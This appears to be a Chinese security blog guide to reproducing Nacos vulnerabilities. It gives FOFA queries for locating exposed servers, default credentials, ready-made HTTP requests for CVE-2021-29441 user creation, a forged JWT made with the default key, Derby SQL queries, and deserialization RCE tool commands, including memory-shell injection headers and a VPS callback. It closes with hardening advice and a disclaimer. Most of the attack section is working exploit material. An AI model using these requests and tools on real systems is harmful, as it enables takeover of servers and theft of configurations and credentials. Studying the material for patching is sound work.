Nacos漏洞汇总复现
字数 1599 2025-08-29 22:41:38

Nacos漏洞复现与安全防护指南

1. Nacos简介

Nacos是一个由阿里巴巴开源的动态服务发现、配置管理和服务管理平台,用于构建云原生应用。它支持几乎所有主流类型的服务发现、配置和管理,包括Kubernetes Service、gRPC & Dubbo RPC Service、Spring Cloud RESTful Service等。

默认开放端口

  • HTTP主端口: 8848(客户端、控制台及OpenAPI的HTTP通信)
  • 客户端gRPC端口: 9848(客户端向服务端发起gRPC连接和请求)
  • 服务端gRPC端口: 9849(服务间的数据同步)
  • Jraft端口: 7848(集群管理中的选主和日志复制)

2. 资产收集方法

FOFA搜索语法

app="nacos" && port="8848" 
|| icon_hash="13942501" 
|| icon_hash="1227052603" && port="8848"

3. 漏洞复现

3.1 获取Nacos版本信息

访问路径:

/nacos/v1/console/server/state

3.2 默认口令漏洞

默认凭证:

nacos/nacos

访问登录页面:

http://ip:8848/nacos/#/login

3.3 未授权访问用户信息

nacos.core.auth.enabled=false时,可直接访问:

/nacos/v1/auth/users?pageNo=1&pageSize=9

3.4 User-Agent权限绕过(CVE-2021-29441)

影响版本: <=Nacos 1.4.1

漏洞原理: 当请求头中User-Agent设置为"Nacos-Server"时,系统会跳过认证。

利用方法:

  1. 查看用户列表:
/nacos/v1/auth/users?pageNo=1&pageSize=100
  1. 添加用户(POST请求):
POST /nacos/v1/auth/users HTTP/1.1
Host: target_ip:8848
User-Agent: Nacos-Server
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=test&password=test123
  1. 删除用户:
DELETE /nacos/v1/auth/users?username=test HTTP/1.1
Host: target_ip:8848
User-Agent: Nacos-Server

3.5 默认JWT密钥未授权访问

影响版本: 0.1.0 <= Nacos <= 2.2.0

漏洞原理: 使用默认JWT密钥SecretKey012345678901234567890123456789012345678901234567890123456789生成token。

利用步骤:

  1. 生成未来时间戳(如2080年)
  2. 使用JWT.io生成token:
{
  "sub": "nacos",
  "iat": 1745835608
}
  1. 使用生成的token访问API:
/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTc0NTgzNTYwOH0.gk9tFDRWDozKj-fsLAXSxnpojBklSaOVPNbUneqTSpw

3.6 Derby未授权访问(CVE-2021-29442)

影响版本:

  • Nacos <= 1.4.0(无论是否开启鉴权)
  • Nacos >1.4.0(未开启鉴权时)

利用方法:

/nacos/v1/cs/ops/derby?sql=select * from users

3.7 Nacos Client Yaml反序列化漏洞

影响版本: 1.4.1

利用工具: yaml-payload

利用步骤:

  1. 编译生成恶意jar包
  2. 上传到服务器并开启web服务
  3. 利用Nacos配置中心触发反序列化

3.8 Hessian反序列化漏洞

影响版本:

  • 1.4.0 <= Nacos < 1.4.6
  • 2.0.0 < Nacos < 2.2.3

利用工具: NacosRce

命令执行:

java -jar NacosRce.jar http://target_ip:8848/nacos 7848 "whoami"

内存马注入:

  • 冰蝎内存马: 请求头x-client-data:rebeyond, Referer设置为https://www.google.com/
  • 哥斯拉内存马: 请求头x-client-data:godzilla, Referer设置为https://www.google.com/
  • CMD内存马: 请求头x-client-data:cmd, 通过cmd头执行命令

3.9 Nacos RCE漏洞

利用路径:

/nacos/v1/cs/ops/data/removal
/nacos/v1/cs/ops/derby

利用工具: Nacos_Rce

利用命令:

python Nacos_Rce.py -t vps_ip -p 5000 -u http://target_ip:8848 -c whoami

3.10 密码破解

bcrypt hash破解:

hashcat -a 0 -m 3200 hashes.txt rockyou.txt -w 3 -O -D 1,2 --show

配置文件解密(jasypt):

java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringDecryptionCLI input="MecKdyPwwkD+AqUKPy1GlQ==" password="salt123" algorithm="PBEWithMD5AndDES"

4. 常用API命令

  1. 获取服务器状态:
http://127.0.0.1:8848/nacos/v1/console/server/state
  1. 精确查询用户:
http://127.0.0.1:8848/nacos/v1/auth/users?search=accurate&pageNo=1&pageSize=9
  1. 添加用户:
curl -v --data-binary "username=test&password=123456" "http://127.0.0.1:8848/nacos/v1/auth/users"
  1. 修改密码:
curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -d 'username=test&newPassword=test123'
  1. 获取配置信息:
http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99
  1. 获取集群信息:
http://127.0.0.1:8848/nacos/v1/core/cluster/nodes
  1. 用户登录:
curl --data-binary "username=nacos&password=nacos" "http://127.0.0.1:8848/nacos/v1/auth/users/login"

5. 安全建议

  1. 修改默认密码
  2. 开启鉴权(nacos.core.auth.enabled=true)
  3. 修改默认JWT密钥
  4. 限制7848端口的访问
  5. 及时升级到最新版本
  6. 监控异常API请求
  7. 定期审计用户和权限

6. 免责声明

本文仅用于安全研究和教育目的,所有测试应在授权环境下进行。未经授权对他人系统进行测试可能违反法律。

Nacos漏洞复现与安全防护指南 1. Nacos简介 Nacos是一个由阿里巴巴开源的动态服务发现、配置管理和服务管理平台,用于构建云原生应用。它支持几乎所有主流类型的服务发现、配置和管理,包括Kubernetes Service、gRPC & Dubbo RPC Service、Spring Cloud RESTful Service等。 默认开放端口 HTTP主端口 : 8848(客户端、控制台及OpenAPI的HTTP通信) 客户端gRPC端口 : 9848(客户端向服务端发起gRPC连接和请求) 服务端gRPC端口 : 9849(服务间的数据同步) Jraft端口 : 7848(集群管理中的选主和日志复制) 2. 资产收集方法 FOFA搜索语法 3. 漏洞复现 3.1 获取Nacos版本信息 访问路径: 3.2 默认口令漏洞 默认凭证: 访问登录页面: 3.3 未授权访问用户信息 当 nacos.core.auth.enabled=false 时,可直接访问: 3.4 User-Agent权限绕过(CVE-2021-29441) 影响版本 : <=Nacos 1.4.1 漏洞原理 : 当请求头中User-Agent设置为"Nacos-Server"时,系统会跳过认证。 利用方法 : 查看用户列表: 添加用户(POST请求): 删除用户: 3.5 默认JWT密钥未授权访问 影响版本 : 0.1.0 <= Nacos <= 2.2.0 漏洞原理 : 使用默认JWT密钥 SecretKey012345678901234567890123456789012345678901234567890123456789 生成token。 利用步骤 : 生成未来时间戳(如2080年) 使用JWT.io生成token: 使用生成的token访问API: 3.6 Derby未授权访问(CVE-2021-29442) 影响版本 : Nacos <= 1.4.0(无论是否开启鉴权) Nacos >1.4.0(未开启鉴权时) 利用方法 : 3.7 Nacos Client Yaml反序列化漏洞 影响版本 : 1.4.1 利用工具 : yaml-payload 利用步骤 : 编译生成恶意jar包 上传到服务器并开启web服务 利用Nacos配置中心触发反序列化 3.8 Hessian反序列化漏洞 影响版本 : 1.4.0 <= Nacos < 1.4.6 2.0.0 < Nacos < 2.2.3 利用工具 : NacosRce 命令执行 : 内存马注入 : 冰蝎内存马: 请求头 x-client-data:rebeyond , Referer设置为 https://www.google.com/ 哥斯拉内存马: 请求头 x-client-data:godzilla , Referer设置为 https://www.google.com/ CMD内存马: 请求头 x-client-data:cmd , 通过 cmd 头执行命令 3.9 Nacos RCE漏洞 利用路径 : 利用工具 : Nacos_ Rce 利用命令 : 3.10 密码破解 bcrypt hash破解 : 配置文件解密(jasypt) : 4. 常用API命令 获取服务器状态: 精确查询用户: 添加用户: 修改密码: 获取配置信息: 获取集群信息: 用户登录: 5. 安全建议 修改默认密码 开启鉴权( nacos.core.auth.enabled=true ) 修改默认JWT密钥 限制7848端口的访问 及时升级到最新版本 监控异常API请求 定期审计用户和权限 6. 免责声明 本文仅用于安全研究和教育目的,所有测试应在授权环境下进行。未经授权对他人系统进行测试可能违反法律。